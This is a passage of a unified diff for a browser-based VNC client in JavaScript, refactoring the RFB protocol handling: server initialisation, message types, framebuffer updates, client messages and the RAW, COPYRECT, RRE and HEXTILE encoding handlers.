- var decompress = function(data) {
- for (var i=0; i<4; i++) {
- if ((resetStreams >> i) & 1) {
- FBU.zlibs[i].reset();
- Util.Info("Reset zlib stream " + i);
+ if (big_endian !== 0) {
+ Util.Warn("Server native endian is not little endian");
}
- }
- var uncompressed = FBU.zlibs[streamId].uncompress(data, 0);
- if (uncompressed.status !== 0) {
- Util.Error("Invalid data in zlib stream");
- }
- //Util.Warn("Decompressed " + data.length + " to " +
- // uncompressed.data.length + " checksums " +
- // checksum(data) + ":" + checksum(uncompressed.data));
- return uncompressed.data;
- }
-
- var handlePalette = function() {
- var numColors = rQ[rQi + 2] + 1;
- var paletteSize = numColors * fb_depth;
- FBU.bytes += paletteSize;
- if (ws.rQwait("TIGHT palette " + cmode, FBU.bytes)) { return false; }
-
- var bpp = (numColors <= 2) ? 1 : 8;
- var rowSize = Math.floor((FBU.width * bpp + 7) / 8);
- var raw = false;
- if (rowSize * FBU.height < 12) {
- raw = true;
- clength = [0, rowSize * FBU.height];
- } else {
- clength = getTightCLength(ws.rQslice(3 + paletteSize,
- 3 + paletteSize + 3));
- }
- FBU.bytes += clength[0] + clength[1];
- if (ws.rQwait("TIGHT " + cmode, FBU.bytes)) { return false; }
-
- // Shift ctl, filter id, num colors, palette entries, and clength off
- ws.rQshiftBytes(3);
- var palette = ws.rQshiftBytes(paletteSize);
- ws.rQshiftBytes(clength[0]);
-
- if (raw) {
- data = ws.rQshiftBytes(clength[1]);
- } else {
- data = decompress(ws.rQshiftBytes(clength[1]));
- }
-
- // Convert indexed (palette based) image data to RGB
- // TODO: reduce number of calculations inside loop
- var dest = [];
- var x, y, b, w, w1, dp, sp;
- if (numColors === 2) {
- w = Math.floor((FBU.width + 7) / 8);
- w1 = Math.floor(FBU.width / 8);
- for (y = 0; y < FBU.height; y++) {
- for (x = 0; x < w1; x++) {
- for (b = 7; b >= 0; b--) {
- dp = (y*FBU.width + x*8 + 7-b) * 3;
- sp = (data[y*w + x] >> b & 1) * 3;
- dest[dp ] = palette[sp ];
- dest[dp+1] = palette[sp+1];
- dest[dp+2] = palette[sp+2];
- }
- }
- for (b = 7; b >= 8 - FBU.width % 8; b--) {
- dp = (y*FBU.width + x*8 + 7-b) * 3;
- sp = (data[y*w + x] >> b & 1) * 3;
- dest[dp ] = palette[sp ];
- dest[dp+1] = palette[sp+1];
- dest[dp+2] = palette[sp+2];
- }
+ if (red_shift !== 16) {
+ Util.Warn("Server native red-shift is not 16");
}
- } else {
- for (y = 0; y < FBU.height; y++) {
- for (x = 0; x < FBU.width; x++) {
- dp = (y*FBU.width + x) * 3;
- sp = data[y*FBU.width + x] * 3;
- dest[dp ] = palette[sp ];
- dest[dp+1] = palette[sp+1];
- dest[dp+2] = palette[sp+2];
- }
+
+ if (blue_shift !== 0) {
+ Util.Warn("Server native blue-shift is not 0");
}
- }
- FBU.imgQ.push({
- 'type': 'rgb',
- 'img': {'complete': true, 'data': dest},
- 'x': FBU.x,
- 'y': FBU.y,
- 'width': FBU.width,
- 'height': FBU.height});
- return true;
- }
+ // we're past the point where we could backtrack, so it's safe to call this
+ this._onDesktopName(this, this._fb_name);
- var handleCopy = function() {
- var raw = false;
- var uncompressedSize = FBU.width * FBU.height * fb_depth;
- if (uncompressedSize < 12) {
- raw = true;
- clength = [0, uncompressedSize];
- } else {
- clength = getTightCLength(ws.rQslice(1, 4));
- }
- FBU.bytes = 1 + clength[0] + clength[1];
- if (ws.rQwait("TIGHT " + cmode, FBU.bytes)) { return false; }
+ if (this._true_color && this._fb_name === "Intel(r) AMT KVM") {
+ Util.Warn("Intel AMT KVM only supports 8/16 bit depths. Disabling true color");
+ this._true_color = false;
+ }
- // Shift ctl, clength off
- ws.rQshiftBytes(1 + clength[0]);
+ this._display.set_true_color(this._true_color);
+ this._onFBResize(this, this._fb_width, this._fb_height);
+ this._display.resize(this._fb_width, this._fb_height);
+ this._keyboard.grab();
+ this._mouse.grab();
- if (raw) {
- data = ws.rQshiftBytes(clength[1]);
- } else {
- data = decompress(ws.rQshiftBytes(clength[1]));
- }
-
- FBU.imgQ.push({
- 'type': 'rgb',
- 'img': {'complete': true, 'data': data},
- 'x': FBU.x,
- 'y': FBU.y,
- 'width': FBU.width,
- 'height': FBU.height});
- return true;
- }
-
- ctl = ws.rQpeek8();
-
- // Keep tight reset bits
- resetStreams = ctl & 0xF;
-
- // Figure out filter
- ctl = ctl >> 4;
- streamId = ctl & 0x3;
-
- if (ctl === 0x08) cmode = "fill";
- else if (ctl === 0x09) cmode = "jpeg";
- else if (ctl === 0x0A) cmode = "png";
- else if (ctl & 0x04) cmode = "filter";
- else if (ctl < 0x04) cmode = "copy";
- else throw("Illegal tight compression received, ctl: " + ctl);
-
- if (isTightPNG && (cmode === "filter" || cmode === "copy")) {
- throw("filter/copy received in tightPNG mode");
- }
-
- switch (cmode) {
- // fill uses fb_depth because TPIXELs drop the padding byte
- case "fill": FBU.bytes += fb_depth; break; // TPIXEL
- case "jpeg": FBU.bytes += 3; break; // max clength
- case "png": FBU.bytes += 3; break; // max clength
- case "filter": FBU.bytes += 2; break; // filter id + num colors if palette
- case "copy": break;
- }
-
- if (ws.rQwait("TIGHT " + cmode, FBU.bytes)) { return false; }
-
- //Util.Debug(" ws.rQslice(0,20): " + ws.rQslice(0,20) + " (" + ws.rQlen() + ")");
- //Util.Debug(" cmode: " + cmode);
-
- // Determine FBU.bytes
- switch (cmode) {
- case "fill":
- ws.rQshift8(); // shift off ctl
- color = ws.rQshiftBytes(fb_depth);
- FBU.imgQ.push({
- 'type': 'fill',
- 'img': {'complete': true},
- 'x': FBU.x,
- 'y': FBU.y,
- 'width': FBU.width,
- 'height': FBU.height,
- 'color': [color[2], color[1], color[0]] });
- break;
- case "png":
- case "jpeg":
- clength = getTightCLength(ws.rQslice(1, 4));
- FBU.bytes = 1 + clength[0] + clength[1]; // ctl + clength size + jpeg-data
- if (ws.rQwait("TIGHT " + cmode, FBU.bytes)) { return false; }
-
- // We have everything, render it
- //Util.Debug(" jpeg, ws.rQlen(): " + ws.rQlen() + ", clength[0]: " +
- // clength[0] + ", clength[1]: " + clength[1]);
- ws.rQshiftBytes(1 + clength[0]); // shift off ctl + compact length
- img = new Image();
- //img.onload = scan_tight_imgQ;
- FBU.imgQ.push({
- 'type': 'img',
- 'img': img,
- 'x': FBU.x,
- 'y': FBU.y});
- img.src = "data:image/" + cmode +
- extract_data_uri(ws.rQshiftBytes(clength[1]));
- img = null;
- break;
- case "filter":
- filterId = rQ[rQi + 1];
- if (filterId === 1) {
- if (!handlePalette()) { return false; }
- } else {
- // Filter 0, Copy could be valid here, but servers don't send it as an explicit filter
- // Filter 2, Gradient is valid but not used if jpeg is enabled
- throw("Unsupported tight subencoding received, filter: " + filterId);
- }
- break;
- case "copy":
- if (!handleCopy()) { return false; }
- break;
- }
-
- FBU.bytes = 0;
- FBU.rects -= 1;
- //Util.Debug(" ending ws.rQslice(0,20): " + ws.rQslice(0,20) + " (" + ws.rQlen() + ")");
- //Util.Debug("<< display_tight_png");
- return true;
-}
-
-extract_data_uri = function(arr) {
- //var i, stra = [];
- //for (i=0; i< arr.length; i += 1) {
- // stra.push(String.fromCharCode(arr[i]));
- //}
- //return "," + escape(stra.join(''));
- return ";base64," + Base64.encode(arr);
-};
-
-scan_tight_imgQ = function() {
- var data, imgQ, ctx;
- ctx = display.get_context();
- if (rfb_state === 'normal') {
- imgQ = FBU.imgQ;
- while ((imgQ.length > 0) && (imgQ[0].img.complete)) {
- data = imgQ.shift();
- if (data.type === 'fill') {
- display.fillRect(data.x, data.y, data.width, data.height, data.color);
- } else if (data.type === 'rgb') {
- display.blitRgbImage(data.x, data.y, data.width, data.height, data.img.data, 0);
+ if (this._true_color) {
+ this._fb_Bpp = 4;
+ this._fb_depth = 3;
} else {
- ctx.drawImage(data.img, data.x, data.y);
+ this._fb_Bpp = 1;
+ this._fb_depth = 1;
+ }
+
+ var response = RFB.messages.pixelFormat(this._fb_Bpp, this._fb_depth, this._true_color);
+ response = response.concat(
+ RFB.messages.clientEncodings(this._encodings, this._local_cursor, this._true_color));
+ response = response.concat(
+ RFB.messages.fbUpdateRequests(this._display.getCleanDirtyReset(),
+ this._fb_width, this._fb_height));
+
+ this._timing.fbu_rt_start = (new Date()).getTime();
+ this._timing.pixels = 0;
+ this._sock.send(response);
+
+ this._checkEvents();
+
+ if (this._encrypt) {
+ this._updateState('normal', 'Connected (encrypted) to: ' + this._fb_name);
+ } else {
+ this._updateState('normal', 'Connected (unencrypted) to: ' + this._fb_name);
+ }
+ },
+
+ _init_msg: function () {
+ switch (this._rfb_state) {
+ case 'ProtocolVersion':
+ return this._negotiate_protocol_version();
+
+ case 'Security':
+ return this._negotiate_security();
+
+ case 'Authentication':
+ return this._negotiate_authentication();
+
+ case 'SecurityResult':
+ return this._handle_security_result();
+
+ case 'ClientInitialisation':
+ this._sock.send([this._shared ? 1 : 0]); // ClientInitialisation
+ this._updateState('ServerInitialisation', "Authentication OK");
+ return true;
+
+ case 'ServerInitialisation':
+ return this._negotiate_server_init();
+ }
+ },
+
+ _handle_set_colour_map_msg: function () {
+ Util.Debug("SetColorMapEntries");
+ this._sock.rQskip8(); // Padding
+
+ var first_colour = this._sock.rQshift16();
+ var num_colours = this._sock.rQshift16();
+ if (this._sock.rQwait('SetColorMapEntries', num_colours * 6, 6)) { return false; }
+
+ for (var c = 0; c < num_colours; c++) {
+ var red = parseInt(this._sock.rQshift16() / 256, 10);
+ var green = parseInt(this._sock.rQshift16() / 256, 10);
+ var blue = parseInt(this._sock.rQshift16() / 256, 10);
+ this._display.set_colourMap([blue, green, red], first_colour + c);
+ }
+ Util.Debug("colourMap: " + this._display.get_colourMap());
+ Util.Info("Registered " + num_colours + " colourMap entries");
+
+ return true;
+ },
+
+ _handle_server_cut_text: function () {
+ Util.Debug("ServerCutText");
+ if (this._sock.rQwait("ServerCutText header", 7, 1)) { return false; }
+ this._sock.rQskipBytes(3); // Padding
+ var length = this._sock.rQshift32();
+ if (this._sock.rQwait("ServerCutText", length, 8)) { return false; }
+
+ var text = this._sock.rQshiftStr(length);
+ this._onClipboard(this, text);
+
+ return true;
+ },
+
+ _handle_xvp_msg: function () {
+ if (this._sock.rQwait("XVP version and message", 3, 1)) { return false; }
+ this._sock.rQskip8(); // Padding
+ var xvp_ver = this._sock.rQshift8();
+ var xvp_msg = this._sock.rQshift8();
+
+ switch (xvp_msg) {
+ case 0: // XVP_FAIL
+ this._updateState(this._rfb_state, "Operation Failed");
+ break;
+ case 1: // XVP_INIT
+ this._rfb_xvp_ver = xvp_ver;
+ Util.Info("XVP extensions enabled (version " + this._rfb_xvp_ver + ")");
+ this._onXvpInit(this._rfb_xvp_ver);
+ break;
+ default:
+ this._fail("Disconnected: illegal server XVP message " + xvp_msg);
+ break;
+ }
+
+ return true;
+ },
+
+ _normal_msg: function () {
+ var msg_type;
+
+ if (this._FBU.rects > 0) {
+ msg_type = 0;
+ } else {
+ msg_type = this._sock.rQshift8();
+ }
+
+ switch (msg_type) {
+ case 0: // FramebufferUpdate
+ var ret = this._framebufferUpdate();
+ if (ret) {
+ this._sock.send(RFB.messages.fbUpdateRequests(this._display.getCleanDirtyReset(),
+ this._fb_width, this._fb_height));
+ }
+ return ret;
+
+ case 1: // SetColorMapEntries
+ return this._handle_set_colour_map_msg();
+
+ case 2: // Bell
+ Util.Debug("Bell");
+ this._onBell(this);
+ return true;
+
+ case 3: // ServerCutText
+ return this._handle_server_cut_text();
+
+ case 250: // XVP
+ return this._handle_xvp_msg();
+
+ default:
+ this._fail("Disconnected: illegal server message type " + msg_type);
+ Util.Debug("sock.rQslice(0, 30): " + this._sock.rQslice(0, 30));
+ return true;
+ }
+ },
+
+ _framebufferUpdate: function () {
+ var ret = true;
+ var now;
+
+ if (this._FBU.rects === 0) {
+ if (this._sock.rQwait("FBU header", 3, 1)) { return false; }
+ this._sock.rQskip8(); // Padding
+ this._FBU.rects = this._sock.rQshift16();
+ this._FBU.bytes = 0;
+ this._timing.cur_fbu = 0;
+ if (this._timing.fbu_rt_start > 0) {
+ now = (new Date()).getTime();
+ Util.Info("First FBU latency: " + (now - this._timing.fbu_rt_start));
+ }
+ }
+
+ while (this._FBU.rects > 0) {
+ if (this._rfb_state !== "normal") { return false; }
+
+ if (this._sock.rQwait("FBU", this._FBU.bytes)) { return false; }
+ if (this._FBU.bytes === 0) {
+ if (this._sock.rQwait("rect header", 12)) { return false; }
+ /* New FramebufferUpdate */
+
+ var hdr = this._sock.rQshiftBytes(12);
+ this._FBU.x = (hdr[0] << 8) + hdr[1];
+ this._FBU.y = (hdr[2] << 8) + hdr[3];
+ this._FBU.width = (hdr[4] << 8) + hdr[5];
+ this._FBU.height = (hdr[6] << 8) + hdr[7];
+ this._FBU.encoding = parseInt((hdr[8] << 24) + (hdr[9] << 16) +
+ (hdr[10] << 8) + hdr[11], 10);
+
+ this._onFBUReceive(this,
+ {'x': this._FBU.x, 'y': this._FBU.y,
+ 'width': this._FBU.width, 'height': this._FBU.height,
+ 'encoding': this._FBU.encoding,
+ 'encodingName': this._encNames[this._FBU.encoding]});
+
+ if (!this._encNames[this._FBU.encoding]) {
+ this._fail("Disconnected: unsupported encoding " +
+ this._FBU.encoding);
+ return false;
+ }
+ }
+
+ this._timing.last_fbu = (new Date()).getTime();
+
+ ret = this._encHandlers[this._FBU.encoding]();
+
+ now = (new Date()).getTime();
+ this._timing.cur_fbu += (now - this._timing.last_fbu);
+
+ if (ret) {
+ this._encStats[this._FBU.encoding][0]++;
+ this._encStats[this._FBU.encoding][1]++;
+ this._timing.pixels += this._FBU.width * this._FBU.height;
+ }
+
+ if (this._timing.pixels >= (this._fb_width * this._fb_height)) {
+ if ((this._FBU.width === this._fb_width && this._FBU.height === this._fb_height) ||
+ this._timing.fbu_rt_start > 0) {
+ this._timing.full_fbu_total += this._timing.cur_fbu;
+ this._timing.full_fbu_cnt++;
+ Util.Info("Timing of full FBU, curr: " +
+ this._timing.cur_fbu + ", total: " +
+ this._timing.full_fbu_total + ", cnt: " +
+ this._timing.full_fbu_cnt + ", avg: " +
+ (this._timing.full_fbu_total / this._timing.full_fbu_cnt));
+ }
+
+ if (this._timing.fbu_rt_start > 0) {
+ var fbu_rt_diff = now - this._timing.fbu_rt_start;
+ this._timing.fbu_rt_total += fbu_rt_diff;
+ this._timing.fbu_rt_cnt++;
+ Util.Info("full FBU round-trip, cur: " +
+ fbu_rt_diff + ", total: " +
+ this._timing.fbu_rt_total + ", cnt: " +
+ this._timing.fbu_rt_cnt + ", avg: " +
+ (this._timing.fbu_rt_total / this._timing.fbu_rt_cnt));
+ this._timing.fbu_rt_start = 0;
+ }
+ }
+
+ if (!ret) { return ret; } // need more data
+ }
+
+ this._onFBUComplete(this,
+ {'x': this._FBU.x, 'y': this._FBU.y,
+ 'width': this._FBU.width, 'height': this._FBU.height,
+ 'encoding': this._FBU.encoding,
+ 'encodingName': this._encNames[this._FBU.encoding]});
+
+ return true; // We finished this FBU
+ },
+ };
+
+ Util.make_properties(RFB, [
+ ['target', 'wo', 'dom'], // VNC display rendering Canvas object
+ ['focusContainer', 'wo', 'dom'], // DOM element that captures keyboard input
+ ['encrypt', 'rw', 'bool'], // Use TLS/SSL/wss encryption
+ ['true_color', 'rw', 'bool'], // Request true color pixel data
+ ['local_cursor', 'rw', 'bool'], // Request locally rendered cursor
+ ['shared', 'rw', 'bool'], // Request shared mode
+ ['view_only', 'rw', 'bool'], // Disable client mouse/keyboard
+ ['xvp_password_sep', 'rw', 'str'], // Separator for XVP password fields
+ ['disconnectTimeout', 'rw', 'int'], // Time (s) to wait for disconnection
+ ['wsProtocols', 'rw', 'arr'], // Protocols to use in the WebSocket connection
+ ['repeaterID', 'rw', 'str'], // [UltraVNC] RepeaterID to connect to
+ ['viewportDrag', 'rw', 'bool'], // Move the viewport on mouse drags
+
+ // Callback functions
+ ['onUpdateState', 'rw', 'func'], // onUpdateState(rfb, state, oldstate, statusMsg): RFB state update/change
+ ['onPasswordRequired', 'rw', 'func'], // onPasswordRequired(rfb): VNC password is required
+ ['onClipboard', 'rw', 'func'], // onClipboard(rfb, text): RFB clipboard contents received
+ ['onBell', 'rw', 'func'], // onBell(rfb): RFB Bell message received
+ ['onFBUReceive', 'rw', 'func'], // onFBUReceive(rfb, fbu): RFB FBU received but not yet processed
+ ['onFBUComplete', 'rw', 'func'], // onFBUComplete(rfb, fbu): RFB FBU received and processed
+ ['onFBResize', 'rw', 'func'], // onFBResize(rfb, width, height): frame buffer resized
+ ['onDesktopName', 'rw', 'func'], // onDesktopName(rfb, name): desktop name received
+ ['onXvpInit', 'rw', 'func'], // onXvpInit(version): XVP extensions active for this connection
+ ]);
+
+ RFB.prototype.set_local_cursor = function (cursor) {
+ if (!cursor || (cursor in {'0': 1, 'no': 1, 'false': 1})) {
+ this._local_cursor = false;
+ } else {
+ if (this._display.get_cursor_uri()) {
+ this._local_cursor = true;
+ } else {
+ Util.Warn("Browser does not support local cursor");
}
}
- setTimeout(scan_tight_imgQ, scan_imgQ_rate);
- }
-};
+ };
-encHandlers.TIGHT = function () { return display_tight(false); };
-encHandlers.TIGHT_PNG = function () { return display_tight(true); };
+ RFB.prototype.get_display = function () { return this._display; };
+ RFB.prototype.get_keyboard = function () { return this._keyboard; };
+ RFB.prototype.get_mouse = function () { return this._mouse; };
-encHandlers.last_rect = function last_rect() {
- Util.Debug(">> set_desktopsize");
- FBU.rects = 0;
- Util.Debug("<< set_desktopsize");
- return true;
-};
+ // Class Methods
+ RFB.messages = {
+ keyEvent: function (keysym, down) {
+ var arr = [4];
+ arr.push8(down);
+ arr.push16(0);
+ arr.push32(keysym);
+ return arr;
+ },
-encHandlers.DesktopSize = function set_desktopsize() {
- Util.Debug(">> set_desktopsize");
- fb_width = FBU.width;
- fb_height = FBU.height;
- display.resize(fb_width, fb_height);
- timing.fbu_rt_start = (new Date()).getTime();
- // Send a new non-incremental request
- ws.send(fbUpdateRequests());
+ pointerEvent: function (x, y, mask) {
+ var arr = [5]; // msg-type
+ arr.push8(mask);
+ arr.push16(x);
+ arr.push16(y);
+ return arr;
+ },
- FBU.bytes = 0;
- FBU.rects -= 1;
+ // TODO(directxman12): make this unicode compatible?
+ clientCutText: function (text) {
+ var arr = [6]; // msg-type
+ arr.push8(0); // padding
+ arr.push8(0); // padding
+ arr.push8(0); // padding
+ arr.push32(text.length);
+ var n = text.length;
+ for (var i = 0; i < n; i++) {
+ arr.push(text.charCodeAt(i));
+ }
- Util.Debug("<< set_desktopsize");
- return true;
-};
+ return arr;
+ },
-encHandlers.Cursor = function set_cursor() {
- var x, y, w, h, pixelslength, masklength;
- //Util.Debug(">> set_cursor");
- x = FBU.x; // hotspot-x
- y = FBU.y; // hotspot-y
- w = FBU.width;
- h = FBU.height;
+ pixelFormat: function (bpp, depth, true_color) {
+ var arr = [0]; // msg-type
+ arr.push8(0); // padding
+ arr.push8(0); // padding
+ arr.push8(0); // padding
- pixelslength = w * h * fb_Bpp;
- masklength = Math.floor((w + 7) / 8) * h;
+ arr.push8(bpp * 8); // bits-per-pixel
+ arr.push8(depth * 8); // depth
+ arr.push8(0); // little-endian
+ arr.push8(true_color ? 1 : 0); // true-color
- FBU.bytes = pixelslength + masklength;
- if (ws.rQwait("cursor encoding", FBU.bytes)) { return false; }
+ arr.push16(255); // red-max
+ arr.push16(255); // green-max
+ arr.push16(255); // blue-max
+ arr.push8(16); // red-shift
+ arr.push8(8); // green-shift
+ arr.push8(0); // blue-shift
- //Util.Debug(" set_cursor, x: " + x + ", y: " + y + ", w: " + w + ", h: " + h);
+ arr.push8(0); // padding
+ arr.push8(0); // padding
+ arr.push8(0); // padding
+ return arr;
+ },
- display.changeCursor(ws.rQshiftBytes(pixelslength),
- ws.rQshiftBytes(masklength),
- x, y, w, h);
+ clientEncodings: function (encodings, local_cursor, true_color) {
+ var i, encList = [];
- FBU.bytes = 0;
- FBU.rects -= 1;
+ for (i = 0; i < encodings.length; i++) {
+ if (encodings[i][0] === "Cursor" && !local_cursor) {
+ Util.Debug("Skipping Cursor pseudo-encoding");
+ } else if (encodings[i][0] === "TIGHT" && !true_color) {
+ // TODO: remove this when we have tight+non-true-color
+ Util.Warn("Skipping tight as it is only supported with true color");
+ } else {
+ encList.push(encodings[i][1]);
+ }
+ }
- //Util.Debug("<< set_cursor");
- return true;
-};
+ var arr = [2]; // msg-type
+ arr.push8(0); // padding
-encHandlers.JPEG_quality_lo = function set_jpeg_quality() {
- Util.Error("Server sent jpeg_quality pseudo-encoding");
-};
+ arr.push16(encList.length); // encoding count
+ for (i = 0; i < encList.length; i++) {
+ arr.push32(encList[i]);
+ }
-encHandlers.compress_lo = function set_compress_level() {
- Util.Error("Server sent compress level pseudo-encoding");
-};
+ return arr;
+ },
-/*
- * Client message routines
- */
+ fbUpdateRequests: function (cleanDirty, fb_width, fb_height) {
+ var arr = [];
-pixelFormat = function() {
- //Util.Debug(">> pixelFormat");
- var arr;
- arr = [0]; // msg-type
- arr.push8(0); // padding
- arr.push8(0); // padding
- arr.push8(0); // padding
+ var cb = cleanDirty.cleanBox;
+ var w, h;
+ if (cb.w > 0 && cb.h > 0) {
+ w = typeof cb.w === "undefined" ? fb_width : cb.w;
+ h = typeof cb.h === "undefined" ? fb_height : cb.h;
+ // Request incremental for clean box
+ arr = arr.concat(RFB.messages.fbUpdateRequest(1, cb.x, cb.y, w, h));
+ }
- arr.push8(fb_Bpp * 8); // bits-per-pixel
- arr.push8(fb_depth * 8); // depth
- arr.push8(0); // little-endian
- arr.push8(conf.true_color ? 1 : 0); // true-color
+ for (var i = 0; i < cleanDirty.dirtyBoxes.length; i++) {
+ var db = cleanDirty.dirtyBoxes[i];
+ // Force all (non-incremental) for dirty box
+ w = typeof db.w === "undefined" ? fb_width : db.w;
+ h = typeof db.h === "undefined" ? fb_height : db.h;
+ arr = arr.concat(RFB.messages.fbUpdateRequest(0, db.x, db.y, w, h));
+ }
- arr.push16(255); // red-max
- arr.push16(255); // green-max
- arr.push16(255); // blue-max
- arr.push8(16); // red-shift
- arr.push8(8); // green-shift
- arr.push8(0); // blue-shift
+ return arr;
+ },
- arr.push8(0); // padding
- arr.push8(0); // padding
- arr.push8(0); // padding
- //Util.Debug("<< pixelFormat");
- return arr;
-};
+ fbUpdateRequest: function (incremental, x, y, w, h) {
+ if (typeof(x) === "undefined") { x = 0; }
+ if (typeof(y) === "undefined") { y = 0; }
-clientEncodings = function() {
- //Util.Debug(">> clientEncodings");
- var arr, i, encList = [];
+ var arr = [3]; // msg-type
+ arr.push8(incremental);
+ arr.push16(x);
+ arr.push16(y);
+ arr.push16(w);
+ arr.push16(h);
- for (i=0; i<encodings.length; i += 1) {
- if ((encodings[i][0] === "Cursor") &&
- (! conf.local_cursor)) {
- Util.Debug("Skipping Cursor pseudo-encoding");
- } else {
- //Util.Debug("Adding encoding: " + encodings[i][0]);
- encList.push(encodings[i][1]);
+ return arr;
}
- }
+ };
- arr = [2]; // msg-type
- arr.push8(0); // padding
+ RFB.genDES = function (password, challenge) {
+ var passwd = [];
+ for (var i = 0; i < password.length; i++) {
+ passwd.push(password.charCodeAt(i));
+ }
+ return (new DES(passwd)).encrypt(challenge);
+ };
- arr.push16(encList.length); // encoding count
- for (i=0; i < encList.length; i += 1) {
- arr.push32(encList[i]);
- }
- //Util.Debug("<< clientEncodings: " + arr);
- return arr;
-};
+ RFB.extract_data_uri = function (arr) {
+ return ";base64," + Base64.encode(arr);
+ };
-fbUpdateRequest = function(incremental, x, y, xw, yw) {
- //Util.Debug(">> fbUpdateRequest");
- if (typeof(x) === "undefined") { x = 0; }
- if (typeof(y) === "undefined") { y = 0; }
- if (typeof(xw) === "undefined") { xw = fb_width; }
- if (typeof(yw) === "undefined") { yw = fb_height; }
- var arr;
- arr = [3]; // msg-type
- arr.push8(incremental);
- arr.push16(x);
- arr.push16(y);
- arr.push16(xw);
- arr.push16(yw);
- //Util.Debug("<< fbUpdateRequest");
- return arr;
-};
+ RFB.encodingHandlers = {
+ RAW: function () {
+ if (this._FBU.lines === 0) {
+ this._FBU.lines = this._FBU.height;
+ }
-// Based on clean/dirty areas, generate requests to send
-fbUpdateRequests = function() {
- var cleanDirty = display.getCleanDirtyReset(),
- arr = [], i, cb, db;
+ this._FBU.bytes = this._FBU.width * this._fb_Bpp; // at least a line
+ if (this._sock.rQwait("RAW", this._FBU.bytes)) { return false; }
+ var cur_y = this._FBU.y + (this._FBU.height - this._FBU.lines);
+ var curr_height = Math.min(this._FBU.lines,
+ Math.floor(this._sock.rQlen() / (this._FBU.width * this._fb_Bpp)));
+ this._display.blitImage(this._FBU.x, cur_y, this._FBU.width,
+ curr_height, this._sock.get_rQ(),
+ this._sock.get_rQi());
+ this._sock.rQskipBytes(this._FBU.width * curr_height * this._fb_Bpp);
+ this._FBU.lines -= curr_height;
- cb = cleanDirty.cleanBox;
- if (cb.w > 0 && cb.h > 0) {
- // Request incremental for clean box
- arr = arr.concat(fbUpdateRequest(1, cb.x, cb.y, cb.w, cb.h));
- }
- for (i = 0; i < cleanDirty.dirtyBoxes.length; i++) {
- db = cleanDirty.dirtyBoxes[i];
- // Force all (non-incremental for dirty box
- arr = arr.concat(fbUpdateRequest(0, db.x, db.y, db.w, db.h));
- }
- return arr;
-};
+ if (this._FBU.lines > 0) {
+ this._FBU.bytes = this._FBU.width * this._fb_Bpp; // At least another line
+ } else {
+ this._FBU.rects--;
+ this._FBU.bytes = 0;
+ }
+
+ return true;
+ },
+
+ COPYRECT: function () {
+ this._FBU.bytes = 4;
+ if (this._sock.rQwait("COPYRECT", 4)) { return false; }
+ this._display.renderQ_push({
+ 'type': 'copy',
+ 'old_x': this._sock.rQshift16(),
+ 'old_y': this._sock.rQshift16(),
+ 'x': this._FBU.x,
+ 'y': this._FBU.y,
+ 'width': this._FBU.width,
+ 'height': this._FBU.height
+ });
+ this._FBU.rects--;
+ this._FBU.bytes = 0;
+ return true;
+ },
+
+ RRE: function () {
+ var color;
+ if (this._FBU.subrects === 0) {
+ this._FBU.bytes = 4 + this._fb_Bpp;
+ if (this._sock.rQwait("RRE", 4 + this._fb_Bpp)) { return false; }
+ this._FBU.subrects = this._sock.rQshift32();
+ color = this._sock.rQshiftBytes(this._fb_Bpp); // Background
+ this._display.fillRect(this._FBU.x, this._FBU.y, this._FBU.width, this._FBU.height, color);
+ }
+
+ while (this._FBU.subrects > 0 && this._sock.rQlen() >= (this._fb_Bpp + 8)) {
+ color = this._sock.rQshiftBytes(this._fb_Bpp);
+ var x = this._sock.rQshift16();
+ var y = this._sock.rQshift16();
+ var width = this._sock.rQshift16();
+ var height = this._sock.rQshift16();
+ this._display.fillRect(this._FBU.x + x, this._FBU.y + y, width, height, color);
+ this._FBU.subrects--;
+ }
+
+ if (this._FBU.subrects > 0) {
+ var chunk = Math.min(this._rre_chunk_sz, this._FBU.subrects);
+ this._FBU.bytes = (this._fb_Bpp + 8) * chunk;
+ } else {
+ this._FBU.rects--;
+ this._FBU.bytes = 0;
+ }
+
+ return true;
+ },
+
+ HEXTILE: function () {
+ var rQ = this._sock.get_rQ();
+ var rQi = this._sock.get_rQi();
+
+ if (this._FBU.tiles === 0) {
+ this._FBU.tiles_x = Math.ceil(this._FBU.width / 16);
+ this._FBU.tiles_y = Math.ceil(this._FBU.height / 16);
+ this._FBU.total_tiles = this._FBU.tiles_x * this._FBU.tiles_y;
+ this._FBU.tiles = this._FBU.total_tiles;
+ }
+
+ while (this._FBU.tiles > 0) {
+ this._FBU.bytes = 1;
+ if (this._sock.rQwait("HEXTILE subencoding", this._FBU.bytes)) { return false; }
+ var subencoding = rQ[rQi]; // Peek
+ if (subencoding > 30) { // Raw
+ this._fail("Disconnected: illegal hextile subencoding " + subencoding);
+ return false;
+ }
+
+ var subrects = 0;
+ var curr_tile = this._FBU.total_tiles - this._FBU.tiles;
+ var tile_x = curr_tile % this._FBU.tiles_x;
+ var tile_y = Math.floor(curr_tile / this._FBU.tiles_x);
+ var x = this._FBU.x + tile_x * 16;
+ var y = this._FBU.y + tile_y * 16;
+ var w = Math.min(16, (this._FBU.x + this._FBU.width) - x);
+ var h = Math.min(16, (this._FBU.y + this._FBU.height) - y);
+
+ // Figure out how much we are expecting
+ if (subencoding & 0x01) { // Raw
+ this._FBU.bytes += w * h * this._fb_Bpp;
+ } else {
+ if (subencoding & 0x02) { // Background
+ this._FBU.bytes += this._fb_Bpp;
+ }
+ if (subencoding & 0x04) { // Foreground
+ this._FBU.bytes += this._fb_Bpp;
+ }
+ if (subencoding & 0x08) { // AnySubrects
+ this._FBU.bytes++; // Since we aren't shifting it off
+ if (this._sock.rQwait("hextile subrects header", this._FBU.bytes)) { return false; }
+ subrects = rQ[rQi + this._FBU.bytes - 1]; // Peek
+ if (subencoding & 0x10) { // SubrectsColoured
+ this._FBU.bytes += subrects * (this._fb_Bpp + 2);
+ } else {
+ this._FBU.bytes += subrects * 2;
+ }
+ }
+ }
+
+ if (this._sock.rQwait("hextile", this._FBU.bytes)) { return false; }
+
+ // We know the encoding and have a whole tile
+ this._FBU.subencoding = rQ[rQi];
+ rQi++;
+ if (this._FBU.subencoding === 0) {
+ if (this._FBU.lastsubencoding & 0x01) {
+ // Weird: ignore blanks are RAW
+ Util.Debug(" Ignoring blank after RAW");
+ } else {
+ this._display.fillRect(x, y, w, h, rQ, rQi);
+ rQi += this._FBU.bytes - 1;
+ }
+ } else if (this._FBU.subencoding & 0x01) { // Raw
+ this._display.blitImage(x, y, w, h, rQ, rQi);
+ rQi += this._FBU.bytes - 1;
+ } else {
+ if (this._FBU.subencoding & 0x02) { // Background
+ this._FBU.background = rQ.slice(rQi, rQi + this._fb_Bpp);
